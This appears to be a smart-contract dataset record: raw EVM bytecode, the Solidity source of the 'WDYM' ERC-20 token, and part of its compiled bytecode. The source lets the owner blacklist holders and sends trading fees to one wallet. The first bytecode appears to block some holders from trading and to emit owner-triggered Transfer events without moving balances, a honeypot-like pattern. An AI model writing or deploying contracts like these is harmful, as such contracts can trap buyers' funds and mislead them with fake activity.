0x608060405234801561001057600080fd5b50600436106101a95760003560e01c80638025cb92116100f9578063a901431311610097578063db98b97a11610071578063db98b97a14610a53578063dd3f952614610a79578063dd62ed3e14610a81578063e6c09edf14610aaf576101a9565b8063a901431314610888578063a9059cbb14610a27578063d33219b414610745576101a9565b806396784f75116100d357806396784f7514610755578063a1a6d5fc14610888578063a5aae254146108be578063a5f2a152146109f1576101a9565b80638025cb92146106a4578063880ad0af1461074557806395d89b411461074d576101a9565b80633cc4430d116101665780635bfa1b68116101405780635bfa1b681461060e57806366da8a9014610634578063671e99211461065a57806370a082311461067e576101a9565b80633cc4430d1461037c5780633d35f307146104af5780634e6ec247146105e2576101a9565b806306fdde03146101ae578063095ea7b31461022b5780630c9202441461026b57806318160ddd1461030e57806323b872dd14610328578063313ce5671461035e575b600080fd5b6101b6610ad5565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101f05781810151838201526020016101d8565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102576004803603604081101561024157600080fd5b506001600160a01b038135169060200135610b6b565b604080519115158252519081900360200190f35b61030c6004803603602081101561028157600080fd5b810190602081018135600160201b81111561029b57600080fd5b8201836020820111156102ad57600080fd5b803590602001918460208302840111600160201b831117156102ce57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610b88945050505050565b005b610316610c7c565b60408051918252519081900360200190f35b6102576004803603606081101561033e57600080fd5b506001600160a01b03813581169160208101359091169060400135610c82565b610366610d09565b6040805160ff9092168252519081900360200190f35b61030c6004803603606081101561039257600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103bc57600080fd5b8201836020820111156103ce57600080fd5b803590602001918460208302840111600160201b831117156103ef57600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561043e57600080fd5b82018360208201111561045057600080fd5b803590602001918460208302840111600160201b8311171561047157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d12945050505050565b61030c600480360360608110156104c557600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156104ef57600080fd5b82018360208201111561050157600080fd5b803590602001918460208302840111600160201b8311171561052257600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561057157600080fd5b82018360208201111561058357600080fd5b803590602001918460208302840111600160201b831117156105a457600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610dd8945050505050565b61030c600480360360408110156105f857600080fd5b506001600160a01b038135169060200135610e7e565b61030c6004803603602081101561062457600080fd5b50356001600160a01b0316610f5c565b61030c6004803603602081101561064a57600080fd5b50356001600160a01b0316610fe6565b610662611050565b604080516001600160a01b039092168252519081900360200190f35b6103166004803603602081101561069457600080fd5b50356001600160a01b031661105f565b61030c600480360360208110156106ba57600080fd5b810190602081018135600160201b8111156106d457600080fd5b8201836020820111156106e657600080fd5b803590602001918460208302840111600160201b8311171561070757600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061107a945050505050565b61030c61116b565b6101b66111ba565b61030c6004803603606081101561076b57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561079557600080fd5b8201836020820111156107a757600080fd5b803590602001918460208302840111600160201b831117156107c857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561081757600080fd5b82018360208201111561082957600080fd5b803590602001918460208302840111600160201b8311171561084a57600080fd5b91908080602002602001604051908101604052809392919081815260200183836020028082843760009201919091525092955061121b945050505050565b61030c6004803603606081101561089e57600080fd5b506001600160a01b038135811691602081013590911690604001356112db565b61030c600480360360608110156108d457600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156108fe57600080fd5b82018360208201111561091057600080fd5b803590602001918460208302840111600160201b8311171561093157600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561098057600080fd5b82018360208201111561099257600080fd5b803590602001918460208302840111600160201b831117156109b357600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611366945050505050565b61025760048036036060811015610a0757600080fd5b506001600160a01b03813581169160208101359091169060400135611426565b61025760048036036040811015610a3d57600080fd5b506001600160a01b038135169060200135611481565b61025760048036036020811015610a6957600080fd5b50356001600160a01b0316611495565b6106626114f9565b61031660048036036040811015610a9757600080fd5b506001600160a01b0381358116916020013516611508565b61030c60048036036020811015610ac557600080fd5b50356001600160a01b0316611533565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b615780601f10610b3657610100808354040283529160200191610b61565b820191906000526020600020905b815481529060010190602001808311610b4457829003601f168201915b5050505050905090565b6000610b7f610b78611613565b8484611617565b50600192915050565b600d546001600160a01b03163314610bd0576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c78576001806000848481518110610bed57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060026000848481518110610c3e57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610bd3565b5050565b60045490565b6000610c8f848484611703565b610cff84610c9b611613565b610cfa85604051806060016040528060288152602001612223602891396001600160a01b038a16600090815260036020526040812090610cd9611613565b6001600160a01b031681526020810191909152604001600020549190611988565b611617565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610d5f576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b60005b8251811015610dd257828181518110610d7757fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061224b833981519152848481518110610dad57fe5b60200260200101516040518082815260200191505060405180910390a3600101610d62565b50505050565b600d546001600160a01b03163314610e25576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b610e3983610e31611613565b600854611617565b60005b8251811015610dd257610e7684848381518110610e5557fe5b6020026020010151848481518110610e6957fe5b6020026020010151611a1f565b600101610e3c565b600d546001600160a01b03163314610edd576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610eea90826115b2565b600455600d546001600160a01b0316600090815260208190526040902054610f1290826115b2565b600d546001600160a01b03908116600090815260208181526040808320949094558351858152935192861693919260008051602061224b8339815191529281900390910190a35050565b600d546001600160a01b03163314610fa9576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b54600854610fe39284921690611617565b50565b600d546001600160a01b0316331461102e576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b600b546001600160a01b031681565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b031633146110c2576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610c78576001600260008484815181106110e057fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061113157fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790556001016110c5565b600d546001600160a01b031633146111b8576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610b615780601f10610b3657610100808354040283529160200191610b61565b600d546001600160a01b03163314611268576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b60005b8251811015610dd25782818151811061128057fe5b60200260200101516001600160a01b0316846001600160a01b031660008051602061224b8339815191528484815181106112b657fe5b60200260200101516040518082815260200191505060405180910390a360010161126b565b600d546001600160a01b03163314611328576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b031660008051602061224b833981519152836040518082815260200191505060405180910390a3505050565b600d546001600160a01b031633146113b3576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b60005b8251811015610dd257836001600160a01b03168382815181106113d557fe5b60200260200101516001600160a01b031660008051602061224b83398151915284848151811061140157fe5b60200260200101516040518082815260200191505060405180910390a36001016113b6565b600d546000906001600160a01b03163314611476576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b610c8f848484611a1f565b6000610b7f61148e611613565b8484611703565b600d546000906001600160a01b031633146114e5576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b6114f182610e31611613565b506001919050565b600d546001600160a01b031681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546001600160a01b03163314611580576040805162461bcd60e51b81526020600482015260176024820152600080516020612203833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b54610fe3928492911690611617565b60008282018381101561160c576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b03831661165c5760405162461bcd60e51b81526004018080602001828103825260248152602001806122906024913960400191505060405180910390fd5b6001600160a01b0382166116a15760405162461bcd60e51b81526004018080602001828103825260228152602001806121bb6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548391839186916000916001600160a01b0390811691161480156117395750600d546001600160a01b038381169116145b1561176957600980546001600160a01b0319166001600160a01b038616179055611764878787611b97565b61197f565b600d546001600160a01b03838116911614806117925750600d546001600160a01b038581169116145b806117aa57506009546001600160a01b038381169116145b156117f357600d546001600160a01b0383811691161480156117dd5750836001600160a01b0316826001600160a01b0316145b156117e857600a8390555b611764878787611b97565b6001600160a01b03821660009081526001602081905260409091205460ff161515141561182557611764878787611b97565b6001600160a01b03821660009081526002602052604090205460ff161515600114156118af576009546001600160a01b03838116911614806118745750600b546001600160a01b038581169116145b6117e85760405162461bcd60e51b81526004018080602001828103825260268152602001806121dd6026913960400191505060405180910390fd5b600a54831015611910576009546001600160a01b03858116911614156117e8576001600160a01b03821660009081526002602090815260408083208054600160ff199182168117909255925290912080549091169055611764878787611b97565b6009546001600160a01b03838116911614806119395750600b546001600160a01b038581169116145b6119745760405162461bcd60e51b81526004018080602001828103825260268152602001806121dd6026913960400191505060405180910390fd5b61197f878787611b97565b50505050505050565b60008184841115611a175760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119dc5781810151838201526020016119c4565b50505050905090810190601f168015611a095780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611a645760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6001600160a01b038216611aa95760405162461bcd60e51b81526004018080602001828103825260238152602001806121986023913960400191505060405180910390fd5b611ab4838383612192565b611af1816040518060600160405280602681526020016121dd602691396001600160a01b0386166000908152602081905260409020549190611988565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611b2090826115b2565b6001600160a01b03808416600090815260208190526040902091909155600d548482169116141561132857600c546001600160a01b03169250816001600160a01b0316836001600160a01b031660008051602061224b833981519152836040518082815260200191505060405180910390a3505050565b600954600d548391839186916000916001600160a01b039081169116148015611bcd5750600d546001600160a01b038381169116145b15611d6357600980546001600160a01b0319166001600160a01b03868116919091179091558716611c2f5760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6001600160a01b038616611c745760405162461bcd60e51b81526004018080602001828103825260238152602001806121986023913960400191505060405180910390fd5b611c7f878787612192565b611cbc856040518060600160405280602681526020016121dd602691396001600160a01b038a166000908152602081905260409020549190611988565b6001600160a01b038089166000908152602081905260408082209390935590881681522054611ceb90866115b2565b6001600160a01b03808816600090815260208190526040902091909155600d5488821691161415611d2557600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061224b833981519152876040518082815260200191505060405180910390a361197f565b600d546001600160a01b0383811691161480611d8c5750600d546001600160a01b038581169116145b80611da457506009546001600160a01b038381169116145b15611e2757600d546001600160a01b038381169116148015611dd75750836001600160a01b0316826001600160a01b0316145b15611de257600a8390555b6001600160a01b038716611c2f5760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6001600160a01b03821660009081526001602081905260409091205460ff1615151415611e93576001600160a01b038716611c2f5760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6001600160a01b03821660009081526002602052604090205460ff16151560011415611f1d576009546001600160a01b0383811691161480611ee25750600b546001600160a01b038581169116145b611de25760405162461bcd60e51b81526004018080602001828103825260268152602001806121dd6026913960400191505060405180910390fd5b600a54831015611fb1576009546001600160a01b0385811691161415611de2576001600160a01b0382811660009081526002602090815260408083208054600160ff1991821681179092559252909120805490911690558716611c2f5760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6009546001600160a01b0383811691161480611fda5750600b546001600160a01b038581169116145b6120155760405162461bcd60e51b81526004018080602001828103825260268152602001806121dd6026913960400191505060405180910390fd5b6001600160a01b03871661205a5760405162461bcd60e51b815260040180806020018281038252602581526020018061226b6025913960400191505060405180910390fd5b6001600160a01b03861661209f5760405162461bcd60e51b81526004018080602001828103825260238152602001806121986023913960400191505060405180910390fd5b6120aa878787612192565b6120e7856040518060600160405280602681526020016121dd602691396001600160a01b038a166000908152602081905260409020549190611988565b6001600160a01b03808916600090815260208190526040808220939093559088168152205461211690866115b2565b6001600160a01b03808816600090815260208190526040902091909155600d548882169116141561215057600c546001600160a01b031696505b856001600160a01b0316876001600160a01b031660008051602061224b833981519152876040518082815260200191505060405180910390a350505050505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a26469706673582212202e985c67c50de20e3f943bf4fa8c50ed06d773d7b0ed5b8f8b18605ad613600064736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,192 |
0xd490f12df6a9e0bf0b5458a3bfde273b838b2a31
|
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract WDYM is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1e12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "t.me/WDYMToken";
string private constant _symbol = "WDYM";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet1 = payable(0x0eA4347235e83ca79116EC7963615fDc858eb189);
_feeAddrWallet2 = payable(0x0eA4347235e83ca79116EC7963615fDc858eb189);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
_feeAddr1 = 2;
_feeAddr2 = 8;
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e12 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function removeStrictTxLimit() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a146102f5578063c3c8cd8014610315578063c9567bf91461032a578063dd62ed3e1461033f578063ff8726021461038557600080fd5b8063715018a61461026b5780638da5cb5b1461028057806395d89b41146102a8578063a9059cbb146102d557600080fd5b8063273123b7116100dc578063273123b7146101d8578063313ce567146101fa5780635932ead1146102165780636fc3eaec1461023657806370a082311461024b57600080fd5b806306fdde0314610119578063095ea7b31461016257806318160ddd1461019257806323b872dd146101b857600080fd5b3661011457005b600080fd5b34801561012557600080fd5b5060408051808201909152600e81526d3a1736b297aba22ca6aa37b5b2b760911b60208201525b6040516101599190611834565b60405180910390f35b34801561016e57600080fd5b5061018261017d3660046116dd565b61039a565b6040519015158152602001610159565b34801561019e57600080fd5b50683635c9adc5dea000005b604051908152602001610159565b3480156101c457600080fd5b506101826101d336600461169d565b6103b1565b3480156101e457600080fd5b506101f86101f336600461162d565b61041a565b005b34801561020657600080fd5b5060405160098152602001610159565b34801561022257600080fd5b506101f86102313660046117cf565b61046e565b34801561024257600080fd5b506101f86104b6565b34801561025757600080fd5b506101aa61026636600461162d565b6104e3565b34801561027757600080fd5b506101f8610505565b34801561028c57600080fd5b506000546040516001600160a01b039091168152602001610159565b3480156102b457600080fd5b506040805180820190915260048152635744594d60e01b602082015261014c565b3480156102e157600080fd5b506101826102f03660046116dd565b610579565b34801561030157600080fd5b506101f8610310366004611708565b610586565b34801561032157600080fd5b506101f861062a565b34801561033657600080fd5b506101f8610660565b34801561034b57600080fd5b506101aa61035a366004611665565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561039157600080fd5b506101f8610a24565b60006103a7338484610a5d565b5060015b92915050565b60006103be848484610b81565b610410843361040b85604051806060016040528060288152602001611a05602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610ece565b610a5d565b5060019392505050565b6000546001600160a01b0316331461044d5760405162461bcd60e51b815260040161044490611887565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104985760405162461bcd60e51b815260040161044490611887565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b0316146104d657600080fd5b476104e081610f08565b50565b6001600160a01b0381166000908152600260205260408120546103ab90610f8d565b6000546001600160a01b0316331461052f5760405162461bcd60e51b815260040161044490611887565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103a7338484610b81565b6000546001600160a01b031633146105b05760405162461bcd60e51b815260040161044490611887565b60005b8151811015610626576001600660008484815181106105e257634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061061e8161199a565b9150506105b3565b5050565b600c546001600160a01b0316336001600160a01b03161461064a57600080fd5b6000610655306104e3565b90506104e081611011565b6000546001600160a01b0316331461068a5760405162461bcd60e51b815260040161044490611887565b600f54600160a01b900460ff16156106e45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610444565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107213082683635c9adc5dea00000610a5d565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561075a57600080fd5b505afa15801561076e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107929190611649565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107da57600080fd5b505afa1580156107ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108129190611649565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561085a57600080fd5b505af115801561086e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108929190611649565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108c2816104e3565b6000806108d76000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561093a57600080fd5b505af115801561094e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109739190611807565b5050600f8054683635c9adc5dea0000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156109ec57600080fd5b505af1158015610a00573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061062691906117eb565b6000546001600160a01b03163314610a4e5760405162461bcd60e51b815260040161044490611887565b683635c9adc5dea00000601055565b6001600160a01b038316610abf5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610444565b6001600160a01b038216610b205760405162461bcd60e51b8152602060048201